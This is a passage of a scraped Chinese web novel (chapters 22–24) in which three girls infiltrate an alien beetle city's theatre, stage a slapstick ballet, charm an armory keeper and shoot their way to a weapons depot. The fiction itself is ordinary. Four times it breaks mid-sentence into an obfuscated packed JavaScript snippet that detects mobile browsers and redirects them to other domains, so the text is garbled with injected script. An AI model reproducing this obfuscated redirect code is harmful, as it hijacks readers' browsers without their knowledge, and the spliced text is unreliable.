;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15393899|167547||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魂动魄的叫声中抓住了护栏。 “叶疏,歪了歪了,快掉转方向啊啊啊啊——” “闭嘴,你吵得我判断不了方向。” “我第一次听说有人用耳朵开车的!” 又是一个大转弯,七寻生无可恋地保持着平衡,默默感慨还不如步行。 一番鸡飞狗跳,三人有惊无险地到达甲虫武器库三百米外。 高楼上,一只脑袋东倒西歪的“甲虫”望着武器库的方向,都有些头疼。 用二十四界伪造的甲虫躯壳里,踩在两人肩上的七寻估摸着甲虫的数量,无奈道:“唔,大概也就里三圈外三圈……” “应该是上回我和叶疏混进武器库闹出的动静太大,所以它们才……”风迅吐槽道:“这也太夸张了,我们又不是人型坦克,至于么!” 七寻点点头,人机般附和着:“就是就是。” 叶疏:“……别只顾着抱怨啊,想想办法。”她砸吧着嘴,没有糖果,很是不习惯。 她瞄了眼风迅口袋里露出来的糖果,愉悦地眯了眯眼睛…… 眼看就要得手,手腕忽然被人擒住。 七寻不知何时跳了下来,伸手逮住了她,还顺手将糖果塞了过去,铁面无私地说:“再吃就要长蛀牙了。” 叶疏“啧”了一声,若无其事地收回手。 风迅毫无察觉地揽过两人的脖子,笑呵呵地说:“我有办法,就看你们敢不敢了。” 七寻:“说来听听。” 叶疏哼哼道:“有什么不敢的,有屁快放。” “上次来的时候,我在那个奥迪斯手里拿偷了三张……”风迅在身上一顿摸,然后不知摸到哪个犄角旮旯,终于把东西掏了出来,“这个!” 壳子里本就没什么光,她一晃更加看不清字了。 七寻抓着她不停甩动的手,终于看清上面的大字,“……话剧院门票。” “这个有什么用?” 风迅解释道:“我从奥迪斯手里逃走前,听到房间外面有人讨论这个,大概意思是……这这是甲虫高管们一般社交都会去的场所。” “你的意思就是说,这个武器库的管理员,也会去?” 叶疏:“那个人能管理武器库,在这的地位应该不低。至于能不能撞上,只能说碰碰运气。” “你们见过他?” “见过,脸长的特——别圆,八字短胡子,像个……像个日本鬼子。”风迅斟酌了一下:“当然最后一点有待考据,不是骂人的意思。哎呀,反正到时候你看到他,就能从人群中一眼认出他来。” 待她们离开满是甲虫的大楼,七寻收回二十四界,终于想明白哪里不对劲了:“它们科技这么发达,为什么还要用纸质票?” 风迅推着七寻往前走,“安心啦安心啦,既然是从奥迪斯身上搜出来的,肯定不会有什么问题。也许这就是有钱人任性,总喜欢搞点在我们普通人看来费劲又高端的。” “甲虫高管都是人类吗?我们三人混进去会不会太突兀?” 叶疏淡淡道:“碰碰运气。” 七寻:“……” 七寻还想说什么,就被风迅捂住了嘴巴。 “七寻,你什么时候问题这么多了?你要相信我们,我们可是很靠谱的。” “……”七寻想到了坠机事件,估算着她说的话可信度只有0.000001%。 现在能她完全相信的,可能就只有风迅那充满了玄学的好运气。 “三个人一起目标太大了,我们还是分开行动吧。等混进去后再汇合,切忌,千万千万不能莽撞。” 风迅刚扭头就对上了叶疏的目光,心虚又不爽地说:“……凭什么你们都看着我啊?我可比七寻听话多了。” 七寻:“……”这也能扯上她? 22. 跳芭蕾 话剧院与武器库之间有一段距离,三人合伙假扮成甲虫的模样,混迹在虫流中,不过半日的时间,三人就赶到了话剧院。 为避免让人生疑,三人等到话剧院开场前十分钟才先后进场。 还有八分钟开场,剧场内的灯光还没有完全暗下来,足够七寻她们观察。 令七寻感到庆幸的是,剧院里的都是人类。 难不成虫子看不懂话剧? 不过话说回来,被抓过来的人类原来不全是黑奴么? 不知道升官的标准是什么…… 七寻琢磨着,开始走神。 【执行者打算什么时候完成梦境任务?】 【怎么,限时?】 小助手呐呐地说:【……不限时。】 【你这么着急,难道我完不成任务,你会受到惩罚?】 【不会,这个执行者可以放心,我们是正规的。】 【有营业执照吗?拿出来看看。】 【……这个没有,但我们是正规的。】 七寻:“……”有种莫名的熟悉感。 另一边,风迅走在错落有致的隔间之间,眼睛左顾右盼,像具人形扫描仪,不放过一丁点蛛丝马迹。 服务机器人身穿得体的黑色西装,端着餐盘悄无声息地出现在风迅身旁,露出一个标准的笑容:“这位小姐,请问您有什么需要帮忙的吗?” 风迅装模作样的捂着肚子,“噢,没什么,我有些不舒服,不知道卫生间在哪……” “小姐,请跟我来。” “好。”风迅虽然平时大大咧咧的,但真到关键时刻,她也能装出个人模狗样来。 踩着红地毯,风迅在机器人的带领下找到了女士卫生间。 “小姐,我就带您到这了,非常荣幸能帮到您。” 风迅讪讪笑着,只希望它快点走,别在这磨磨唧唧的。 岂料她刚进卫生间,手腕就被人从后面抓住。 风迅还没来得及动手,身后的人已捂住她的嘴巴,然后“唰”地一下出现在她面前。 冷眉寒目,正是七寻。 风迅扭过头,果然看到了站在她身后的叶疏。 “呼~吓死我了,你们动作可真快。” 叶疏:“继续行动吧。” 七寻拉着风迅跟在叶疏后面。 风迅趔趄了一下,问:“去哪啊?” “监控室。” “对哦,我怎么没想到。”风迅跃跃欲试道:“那里肯定能看清剧院全貌,这下子简直是易如反掌~” “现在最关键的,是我们找不到监控室。”叶疏恼道:“我和七寻进来后就开始找了,结果监控室没找到,找到了卫生间。” 七寻皱眉思考着,“这里没有标识,第一次来的人只能请求机器人帮忙带路……是巧合,还是故意为之?” “私密性是有点太强了。”风迅回想起观众台的模样,说:“我看到有的观台还设了隔间。” 七寻忽然说:“我们得快些找,我总觉得那些机器人不对劲。” “昂?它们看起来很有礼貌啊。” 风迅从拐角处探出头,就看到了刚刚给她带路的机器人正背对着她,跟另一个机器人说着什么。 机器人转身之际,七寻一把将风迅拉了回来。 叶疏:“这只是表面,机械设备不同于人类,它们的内部程序是设定好的。可以说,每个机器人都是主人最忠诚的下属。” “所以它们看向你的时候,不单单是‘看’,还带着监视审判的意味。” 怪不得看不到监控,原来监控就摆在她面前。 风迅后知后觉地感到后怕,手臂上顿时起了一层鸡皮疙瘩。 她难以想象在自己毫不知情的情况下,正被一个冷漠无情的铁疙瘩注视着,被记下一举一动,而一旦她被对方判定出有什么不对劲的地方,后果将不堪设想。 七寻拍拍风迅肩膀,再一次庆幸于风迅心大,单靠她自己一个人根本想不到这些,不然一准露馅。 八分钟很快过去,话剧院的灯光完全暗了下来。 四周黑漆漆的,连个人影都看不见,以免四处碰壁,七寻将二十四界变成一副黑金色夜视镜。 “这间房间之前好像没进来过……” “别说话,我听听有没有声音。”风迅趴在门上听。 三人默契十足,分工明确,风迅行动的同时,七寻望风,叶疏则时刻准备着动手。 “听不到声音,应该没人。” 七寻:“进?” 话音刚落,门“哐当”一声被叶疏和风迅合力踹开。 里面是个大宽间,亮堂堂的,摆满了各种各样的戏服。 几个脸上涂得像鬼一样煞白的人惊恐地望着她们三个人,待反应过来,有人开始呼救,有人下意识拿起桌子上的玻璃杯,想要砸人。 七寻一个手疾眼快,抄起手边的花瓶先一步投了过去,花瓶砸在地上,把那人吓得一哆嗦。 七寻眼睛微眯,在他回神之前,直接冲上去擒住了他,顺便在他嘴里塞了块布,堵住他吱哇乱叫的嘴。 一旁的叶疏和风迅也丝毫不落下风,三下五除二,直接将其他人击晕在地。 “呼——”风迅瘫坐在位置上,狠狠松了口气:“还好没引来其他人。” “你们闹得动静太大了。” 叶疏指指大门,示意道:“我已经锁门了,这里隔音不错,外面听不到。” 七寻:“……”她说的是踹门的动静。 风迅疑惑道:“我怎么听到了好多人声?” “你猜猜我们现在在哪?”说到这,叶疏忽然反应过来不对,她扭头看着地上横七竖八的演员们,呐呐地说:“现在把他们叫醒还来得及吗?” 七寻摇摇头:“不行,他们一上台不就脱离了我们的掌控?” “留一个当人质也不行?” 七寻默默把男人嘴里的布料拉出来,说:“还是不要考验人心了,更何况这里是人家的地盘,我们很难保证会不会有其他意外。” 外面一片嘈杂,再这样下去她们会暴露的。 “喂。”七寻踹了下男人小腿,问:“你是干什么的?” 男人不知道她的意图,脸色苍白地蹲在“横尸”间,琢磨着该怎么回答。 他脸上冷汗直流,还不等他琢磨出个所以然来,下巴忽然被人用衣架勾起,就见眼前这个长相白净,看起来纯良无害的小姑娘面无表情的对他说:“老实交代,不然我年纪小,手里没分寸,失手把你砸成残废可就不好了。” 七寻掂量着叶疏递过来的玻璃瓶,看向男人的目光阴森森的,活像只从地狱来索命的恶鬼。 “我,我就是个裁缝……” “也就是说你不会表演?”七寻眯着眼睛,不爽地说道:“那留着你也没用了。” “等等啊——”男人后颈一疼,直接晕了过去。 将玻璃杯放在桌子上,七寻忽然看向风迅,悠悠地说:“我记得你学过芭蕾……” “我也记得,还上台表演过呢。”叶疏与七寻对视一眼,脸上皆露出邪恶的笑。 “是学过,但那是在小学……哎!”风迅惊恐地坐在化妆桌上,捂着胸口拼命阻止叶疏扒拉她衣服,“你想干嘛!我告诉你啊,你这样做是违法的,小心我告你!” “都是女的怕什么……” 两人手忙脚乱,开始将手边的装饰品一股脑全套在风迅身上。 七寻抓起一堆裙子,扔给叶疏,“这个,我记得你小时候穿的就是白纱裙。” “抬一下左腿,对,右腿,还有袜子!绑带!鞋子鞋子!” “呜呜呜……七寻你给我抹了什么咳咳咳……”风迅被她们死摁着,像个芭比娃娃,只能乖乖坐着任由两人捣鼓。 七寻在烟雾中放下一盘白色的粉盒,顺手拿起手边那盒八十一色彩妆拼盘,犹豫着该涂哪个颜色,“应该是这个,我记得你当时眼睛亮闪闪的,可好看了。” “哎,哎!七寻你会化妆吗?” 这么简单的事,有什么会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15407044|167547||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不会的,问就是会! 七寻把她的脸掰正,斩铁截铁地回答:“当然。” “我觉得要不我们三个一起上吧,出了事故还能有个伴……还有,这裙子会不会太短了点,确定没穿错吗?” 风迅扭捏着,语气都在打飘,下一刻一股巨力袭来,她人已经站在了聚光灯下。 风迅立马拿出她小学结业表演时的专业态度,大大方方对着台下观众露出八分微笑两分苦笑的表情。 那一瞬间,缩在后台的两人沉默了。她们看着彼此,然后心虚地扭开目光,咳了咳。 叶疏:“化妆技术不错……差点没认出来。” 七寻:“你也是,毕业后可以考虑考虑做穿搭博主,应该能赚到馒头钱。” 台下观众集体安静下来,都在彼此的眼神中看出了迷惑和震惊。 剧院中心隔间,莫迪斯望着台上那人的装扮,惊得嘴里的茶水全喷了出来。 坐在他旁边的银发女人嫌弃地挪远了些,来回扫了几眼,挑眉问:“认识?” “咳咳,见过几面。”莫迪斯优雅地拿着手帕擦嘴,眼睛里是毫不掩饰的笑意。 “今天的表演,好像跟以往的不一样。” 莫迪斯一本正经地夸赞道:“敢于创新,我觉得今晚会有场非常不错的表演。” 小丑妆配红袜子芭蕾舞裙……的确是一次大胆的创新。 女人笑笑,不语。 风迅做着旋转的动作,有意朝进场方向飘去,趁着背对着观众的机会,呲牙呼救道:“music,music!” 叶疏:“什么?大声点!” “音乐!” “伴奏。”七寻说着,拉着叶疏往音乐控制室走。 不到三十秒的时间,两人就找到了地方,推开门,五颜六色的绚烂灯光中,是一片密密麻麻的按钮。 见状,叶疏不由倒吸一口凉气。 “这么高级?”她站在一旁,看着已经开始动手捣鼓的七寻,问:“你会?” “会。” 好果断,好直接。 叶疏惊叹了两秒,觉得这回答有些熟悉。 嗯……想起来了,刚刚风迅问七寻会不会化妆的时候,七寻也是这么回答的。 叶疏默不作声地站在一边观察了一会儿,发现七寻动作熟练迅速,不像假把式。 正当叶疏开始检讨自己对朋友的信任太少时,话剧院里响起了耳熟的伴奏。 童年记忆从脑中拔出,叶疏被那甜腻的童声镇住,整个人愣在了原地。 舞台上,风迅听着前奏,还没回想起是哪首歌,歌词就已经给了她答案。 “大风车,吱呀吱呦呦地转,这里的风景啊真好看~天好看,地好看~” 风迅心中暗骂,脸上笑容差点裂开,目光触及台下的观众,顿时一激灵。她不敢松懈,只得努力随着歌曲节奏跳着四不像的芭蕾,像陀螺一样转啊转。 “今天的好伙伴~明天的好朋友~” 还好朋友!她等会就要跟那两个坑货绝交! 简直没天理,哪有这么坑队友的! 总控室里,七寻顿了一下,还不等叶疏抓住她乱动的爪子,歌曲已经切换到了下一首。 剧院里满是响锣的碰撞声……感受着歌曲中那质朴的生命力,风迅觉得她现在就能扛着大刀上山起义了! “大河向东流哇,天上的星星参北斗哇!” 台下躁动得越发厉害,这时,歌曲又变了。 好你个七寻!好你个叶疏! 我拿出童子功陪你们玩,结果你俩坑货又是大风车,又是好汉歌,现在竟然都整出猪八戒娶媳妇了! 风迅内心尖叫着,绝望地在这漫长的伴奏中做出背媳妇的动作,她几番惟妙惟肖地回头,望着背后那个不存在的“媳妇”,脸上表情一阵疑惑,一阵欣喜,最后滑稽地摔在地上。 她摔得很有技巧,没让自己真摔着,抬起头时又露出惊恐、无措、恼怒的表情,好像真看到背上的媳妇变成了一只毛猴般。 23. 做模特 伴随着音乐声,风迅朝观众鞠躬谢幕。 后台,叶疏抓着七寻的手,面无表情地说:“等会儿风迅揍你,我可不会拦着。” “你想摆脱关系?《猪八戒背媳妇》不是你放的?”七寻不甘示弱地按住她的手,“再说,做错事要勇于承担责任,这没什么大不了的,哪有你这样逃避的,你说是吧?” “……”叶疏咬牙看她。 焉坏焉坏的。 得,一起挨打吧。 “哐当”一声,门被人踢开,门口站着一白面红妆,穿着芭蕾舞裙和大红丝袜的人。 风迅怒气冲冲,脸上是狰狞的笑容。 七寻和叶疏脊背一凉,但她们谁都没松手。毕竟都到这个地步了,要死一起死。 “你们两个,真是好样的。”风迅阴恻恻地说,配上她脸上的妆,更显凶悍。“七寻!叶疏,我跟你俩没完!” 两人正瑟瑟发抖,门外摇摇晃晃地走来一人,那人迷糊地拍了拍火冒三丈的风迅,问:“大呼小叫的,太不像话了!” 风迅回头,那人脸色“唰”得一下惨白,下一刻喉咙像安了几百个哨子,瞬间发出尖锐的爆鸣声:“啊啊啊啊你谁啊!” 那人看着不人不鬼的风迅,又看看紧盯着他的另外两个人,终于反应过来。 “你们!” “砰——” 风迅拿起旁边的棍子,眼都不带眨一下地直接将人砸晕了过去。 七寻和叶疏在一旁看着,不约而同咽了咽口水。 就在这时,外面又多了几道人声。 七寻顾忌不了那么多,拽着还在生气的风迅就往外跑,还不忘边跑边安抚道:“我们先出去,等出去,我两任你处置。” 风迅分得清事情轻重急缓,哼哼道:“这还差不多。” 三人一同冲出音乐控制室,在一众刚刚醒过来的话剧演员惊恐的目光中,堂而皇之溜之大吉。 “快抓住她们!” 身后传来惊恐愤怒的声音,有什么鬼东西从化妆镜中一闪而过,风迅来不及思考,就被七寻一把抛了出去。 后台大门“哐”的一声关上,七寻立马用二十四界变换东西,轻声说道:“你们先走,我殿后。” 叶疏一下子就明白过来七寻要干什么,拉着风迅飞快往右边的出口逃走。 待男人们撞开门,只看见一个高高大大的机器人站在门旁,礼貌地问道:“先生,请问有什么需要帮忙的吗?” 男人揉着脑袋,气急败坏道:“你看没看到刚刚有三个人从这里闯出去了?” “看到了。她们看起来很着急的样子。” “往哪跑了?” “左边。” “追!”男人喊道,后面的几个人揉着脑袋,不情不愿的跟了过去。 在他们看不见的地方,机器人脸上扬起一抹诡异的笑,然后抖了抖身子,恢复了原貌。 七寻手拿唐横刀,看着那群人的背影,狡黠一笑,转身朝着叶疏和风迅的方向翩然远去。 “干嘛非得洗脸啊!” 风迅心中古怪,扭头就要去照镜子,却被叶疏强硬扯了回去,“你脸上脏了,不擦干净,等会儿怎么跟我们出去见人?” 幸好卫生间里备了卸妆棉…… 叶疏废了好一番功夫,才把风迅脸上的浓妆刷洗干净。 “给,快把衣服换了。” 风迅接过塑衣胶囊,眼神幽怨起来,“要不是为了方便七寻上妆,我也不至于闭着眼睛由着你们捣鼓,这搭的什么啊,难看死了……” “换你的,废话那么多。” 风迅走进隔间,飞快脱下戏服,随手搭在门上,“你还敢凶我,我为了集体,牺牲那么多……” 叶疏良心痛了一下,心虚起来,说:“等回去,我答应你一个条件行了吧?” “三个?” “……你别得寸进尺。” “就三个!我为集体牺牲那么大……” 叶疏自知理亏,急忙应下:“三个,三个!” 待风迅换好衣服,七寻正好赶回来。 风迅:“怎么这么久?” 叶疏:“出意外了?” “没。”七寻眼睛亮晶晶的,说:“我好像找到你们说的那个‘小日本’了。” 叶疏和风迅对视一眼,喜道:“真的!” 七寻认真地点点头, “刚刚在路上,我正巧碰上了他,他往剧场的方向去了,位置比较靠前……” 风迅疑惑道:“不对啊,如果他坐得比较靠前,我刚刚在台上的时候就能看到他……” 她注意力不容易集中,经常一心二用,所以刚刚在台上她不仅逼着自己随机应对特殊情况,还时刻观察着台下的观众。 三人异口同声:“他在隔间里!” 此刻,大剧院前排隔间,唇上长着两短胡子的男人坐在莫迪斯身边,谄媚着给他敬酒。 “指挥官大人。” 自风迅下场,台上出了点事故,后面的表演照旧进行。 莫迪斯目光没落到实处,他轻嗯了一声,淡淡说道:“放桌上吧。” “好。” 费钱擦着额上冷汗,摸不清对方特意把他“请”到前排来意欲何为。 他想不明白,如坐针毡,难受极了。 这时,旁边隔间的人跟服务机器人商量着什么,然后起身走了,不久之后,就来了三漂亮姑娘。 费钱没什么坏心思,就是一见到漂亮姑娘,就忍不住投以欣赏的目光。 岂料三人中一个正好也在看他,还对着他笑了笑,友善示好。 费钱顿时忘乎所以,端起刚刚想要递给莫迪斯的酒就要起身,余光瞥到什么,霎时反应过来。 他紧张地顿住,一时间不知道该继续起身,还是该老老实实坐下。 莫迪斯猩红眼底划过一道暗芒,不甚在乎地开口道:“娱乐时间,别太拘束。” 费钱松了口气,心里别提多乐呵了,恨不得现在就飞隔壁桌去,“好,指挥官玩得开心,我先失陪了。” 看着他急不可耐的背影,一直默不作声的银发女人问道:“这场戏还要看多久。” “怎么了?” “天色不早了,我还要回去睡美容觉呢。” 莫迪斯深不可测地说:“那你今天应该是睡不着了。” “是么……” “呸呸——这酒好难喝!”风迅看着装模作样摇着红酒杯的叶疏,分外不解地问:“这玩意儿真这么好喝?” “嗯?我装的葡萄汁。” “那你手里的呢?雪碧吗?”风迅指指七寻酒杯里的透明液体。 “不是。”七寻沉醉在话剧中,劝诫道:“那个糖分多,喝多了对身体不好,我这是白开水。” “……”合着就她一个实心眼呗。 “他来了。”七寻红着脸眯着眼说了一句,声音轻轻的,在话剧演员声情并茂的声音间微不可闻。 风迅搞不明白,喝个白开水怎么还喝得醉醺醺的模样。 “三位小姐,能一起喝杯酒吗?” 七寻摇摇头说道:“先生这话说的,谁来剧院喝酒啊,太没内涵了。” “我的错我的错。”费钱自来熟地走进来,也不刻意靠近,坐在三人对面,举杯道:“费某自罚一杯。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15411725|167547||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他哗哗灌下一杯酒,喝得一滴不剩。 风迅长相可爱,最容易让人放下警惕,所以她们三个一早就商量好了,她负责唱红脸,七寻负责唱白脸,一准将男人哄得找不着北。 风迅笑道:“先生好酒量。” 费钱态度十分谦逊:“还行还行,一般般。”他目光瞥向别处,带着毫不掩饰的欣赏。 七寻脑袋发晕,有些迷惑,但她并未显露出来半分,打算看看费钱葫芦里卖的什么药。 “不知道三位小姐是做什么工作的?” 七寻反问道:“问这个做什么?”这话术,总不能是给她们介绍工作吧? 她正想着,男人已站起身,朝她的方向走来,最后停在了叶疏面前。 “?”叶疏抬起头,懒散地看着眼前的男人。 费钱不好意思地说,“你,您气质很独特,我想找您做模特可以吗?” 七寻,风迅:“?”什么情况! 叶疏也很疑惑,她放下酒杯,懒散地问:“费先生这是什么意思?” “是这样的,我是一名器具库管理员,我觉得您的发型非常酷!气质英气飒爽,很适合给我的武……咳器具们打广告。”因为太过激动,费钱在身上摸了好几遍才调出通讯设备,他诚恳地说:“您放心,报酬方面包您满意。不知道方不方便加个联系方式?” 叶疏沉默着,有些痛恨自己在外星待了这么多天,还没搞到一个通讯设备。 为避免暴露,她只能忍痛拒绝:“对不起费先生,可能不太方便。” 费钱有些沮丧,但他看向叶疏的目光依旧赤热,忽得他从口袋里掏出一张名片,紧张地递到叶疏手上边,说,“第一次见面就加联系方式,确实太唐突了些,这是我名片,还请您收下。” 叶疏愣了愣,点点头,算是同意了。 顺利给出名片,费钱高兴得找不着北,晕乎乎地坐回自己的位置。 三人看着彼此,都没想到最后会是这个发展。莫名有种踏破铁鞋无觅处,得来全不费工夫的感觉。 这人是正正经经的武器库管理员,帮他打广告,不就可以顺理成章地溜进去,或者暗中拿到武器库权限…… 风迅正美美幻想着,剧院后方突然传来一声惊呼:“抓住她们!她们是外来人!” 霎时间,原本好奇回头望向男人的观众们一排排回过头,将三人组死死包围在了视线范围内。 费钱怔愣着,大脑还处在喜悦中没反应过来。 下一刻,一股巨浪爆发,他被人猛扯了一把,然后又丢了出去。 座椅被热浪掀飞,七寻手里拿着用二十四界变幻而成能量炮,将剧院顶部轰出一个巨坑。 房屋碎片和粉尘顷刻落下,烟尘四起,铁爪带着绳索从粉尘中自下而上窜出,稳稳勾住剧院楼顶尖锐的塔尖。 地下,服务机器人们目中泛着红光,死死盯着三人。 七寻手中的绳索自动伸缩,迅速将她们一起带了上去。 在她找到费钱的时候,她就隐隐察觉到了不对劲。这世上哪有那么巧的事情,她们刚从后台逃出,她就在路上碰上了费钱。 如果让事情合理化,那就只可能是有人在背后捣鬼。 既然知道背后有鬼,她们自然不可能上套,于是偷偷摸摸找到剧院出口,想要在对方没发现之前提前离开,没想到对方早就做好了防备措施,提前锁了门。 于是七寻和叶疏只好将计就计,顺着对方,同时静待对方先一步出手。 “你果然没让我失望,莫迪斯。” 七寻看着底下那个同样回望着她的人,嘴边勾起,目中狠色一闪而过,最后消失在冰凉的夜幕中。 24. 认输吧 “靠啊啊啊,天上全是虫子!” 夜幕降临,虫子倾巢出动般,将天空围了个水泄不通。 待七寻站定,钩锁自动化作一抹荧蓝流光环绕在她周身。细碎的光点在七寻眼中闪烁,同甲虫一样,带着嗜血的冷色。 隔着炫彩的霓虹灯和高耸入云的高楼大厦,七寻望着距离她们还很远的武器库,在心中默念一声:【小家伙。】 【……我在。】 【兑换机枪技能。】 【兑换成功。】 二十四界再度变幻,化为一架枪炮乖乖被七寻架在肩膀上。 炽热的火光扫射而出,密集的炮弹轰得甲虫们龇牙咧嘴,神情愈发凶神恶煞起来。借着空隙,几只甲虫凶猛地朝叶疏和风迅冲来,口中是蓄势待发的浓绿唾液。 风迅在有限的空间内灵活躲避,惊慌道:“现在怎么办?” 七寻挡下攻击,冷眸直视虫子们,手中轰炸的动作丝毫没歇,“去武器库,我来开路。” 两人穿过凌乱不断的火光和甲虫群,齐声应下:“好。” 七寻紧随其后,手中那把武器不断变换,一会儿变成流光长鞭将身边的虫子甩开,一会儿又变换成机枪,将空中的虫子统统轰下。 一番夺命狂奔,又是在百米高的大楼上,肾上腺素上涌,三人大脑一片充血的清醒明亮。 衣袂随风鼓动,前方空无一物,只剩下慑人的黑和空荡。 叶疏紧蹙着眉,问两人:“前面是车道,没有建筑物。跳下去?” “这么高!跳下去不得摔死。要跳你跳,我不跳。”风迅小脸一白,回头看着追兵,咬牙道:“大不了杀回去!怎么进来的怎么走出去,真当老娘怕它们啊!” “费那么大劲干什么……”叶疏与七寻对视一眼,拉着风迅就跳了下去,“害怕就把眼睛闭上。” 七寻用长鞭勾紧两人的腰,“抓紧我。” 根本不用七寻吩咐,在她靠近的那一刻,风迅就死死抱住了她的腿。 “别扯我裤子。” 风迅被灌了一嘴风,大声吼道:“马上就要摔死了,还管什么掉不掉的!是裤子重要还是命重要!” 七寻生无可恋道:“会掉啊!” “干嘛不把裤子系紧点啊!” 重力下坠的速度很快,仅几秒钟的时间,降落伞“砰”的一声撑开,耳边风声渐缓,不再刻意制造恐惧,慢慢变得温顺起来。 脚踏在实地上,风迅差点给两人磕了一个。 “滴——”迎面急速驶来一辆汽车,刺耳的喇叭声刮过耳膜,灼眼灯光笼罩住视线,七寻眼前只剩无边无际的白。 一阵失衡地拉扯过后,七寻脑壳疼了一下。 “看到车不知道躲啊!傻愣愣站那干嘛?等车撞然后给你赔医疗费啊!” 在叶疏的痛骂声中,七寻终于回了点神,一副恍恍惚惚的模样,她脸色是失血的白,呐呐说着:“没注意到……” 紧急逼停后,单行车道后方车辆来不及刹停,接二连三地撞在了一起,一时间浓烟滚滚,远处传来嘹亮急促的警鸣声。 警报声越来越近,风迅不顾骂骂咧咧的司机,把他赶了下去,自己挤上驾驶位,催促道:“时间紧迫,上车再说。” 叶疏将七寻塞到后座,瞪了她一眼,冷声对风迅道:“你会开?不会开滚副驾驶去。” “……”一时忘了嘛,干嘛这么凶,差点出车祸的又不是她。 知道她正在气头上,风迅不敢顶嘴,借后视镜偷瞄后排的人。 后座灯光昏暗,衬得七寻本就白皙的皮肤更加苍白了几分。风迅心口没来由地一紧,恍惚间觉得镜中那个人下一刻就要消失在自己眼前。 她惶然回头,七寻还在无意识地摩挲着手指——那是她无措或者发呆时惯常会做的动作。 “七寻?” “嗯?”对方疑惑地抬起头,眼底好似挂了泪光,带着不太明显的鼻音,问:“怎么了?” 车子剧烈颠簸了一下,跟火箭似地发动射出,留下一抹高速快门才能清晰捕抓的身影。 风迅脑袋撞在车顶上,差点扭到脖子。 “叶疏!” 叶疏猛踩油门,单手抓着方向盘,嘴里叼着一颗不知道什么时候摸到手的棒棒糖,闻声懒散地睨了她一眼,“生活常识,坐车要系好安全带,需要姐姐手把手教你吗?” 风迅三下五除二扣上安全带,紧抓拉环,咆哮道:“我是你姑奶奶!” “啧。真没礼貌。”叶疏淡淡扫了眼七寻,贴心提醒:“坐稳了,我要加速了。” “还要加速!” “后面的虫子马上就要追过来了,你等着它们一虫一口唾沫淹死你?” 两人正吵着,眼前猝然出现一只甲虫。 黏糊的唾液喷在车窗上,叶疏瞳孔骤缩,立刻按下雨刮器,却发现玻璃已经被腐蚀掉了,只剩空荡的框架。 眼看着车子就要驶出车道,撞上旁边的大厦,叶疏飞速扭转方向盘,来了一百八十度掉头。 风迅脸贴在车窗上,刚抬起头,就发现外面围满了虫子。 七寻晃晃脑袋,拍拍叶疏的肩膀,道:“开天窗。” “好。”见她终于不再一副神游天外的模样,叶疏心里的石头落了下来。 七寻将半个身子探出车外,伸手勾出跟随在她身旁的二十四界,在车顶上架好机关枪。 甲虫很大,想要瞄准它们并不是难事。 七寻仅用三秒的时间就做好了准备,淡定开口。“你只管开,我来清除路障。”她声音不大不小,足够让前排的两人听清。 “好。” 风迅深知这两人一旦达成某种心照不宣的默契,就不会改变,于是第一时间抓好了吊环。 果不其然,叶疏挂倒挡后撤,直接一个甩尾将车身扭回正位,然后直挺挺地往甲虫的方向冲去。 与此同时,车顶上响起不间断的枪声,弹壳哗啦啦砸在车顶铁皮上,意图靠近的甲虫不要钱似地从天空中坠下。 一只甲虫冲到七寻身后,朝她喷出唾液。 “小心!” 叶疏再次加快车速,七寻调转枪口的方向,凭着感觉将甲虫击落。 空中的甲虫被清缴完毕,身后紧追不舍的警车被七寻射中轮胎,撞在了护栏上,一时半会儿追不上来。 见状,三人都松了一口气。 即便没了后顾之忧,叶疏也不敢懈怠,带着两人到达武器库外。 叶疏望着门口,疑惑了:“甲虫怎么变少了?” “那不正好?省了我们多费功夫。”风迅撸起袖子,坏笑道:“我有个坏主意,你俩要不要听?” “说。” 七寻跟着叶疏看向她,意思是她在听。 “看到那辆车没有?我们第一次来的时候,我发现那是一辆油罐车。这里虫子虽然少了,但我们两个没有武器,真乱轰起来吃亏的还是咱们,不如,把油罐车点了,给它们制造点混乱,我们好趁机而入。” 她话音刚落,七寻已经架起了枪,像设定好程序的机器人,第一时间执行命令。 这次七寻用的是消声枪,守在武器库外的甲虫们并没有感受到异常。直到油罐车爆起熊熊大火,周边巡视的甲虫们终于乱了。 “快走。” 风迅带头潜入武器库,到了大门才发现不对,她踹了两脚,恼道:“靠,没有权限!” “滴!”地一声,武器库大门旁边红灯变为绿色,仓库里藏着的各式各样的武器映入眼帘。 风迅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 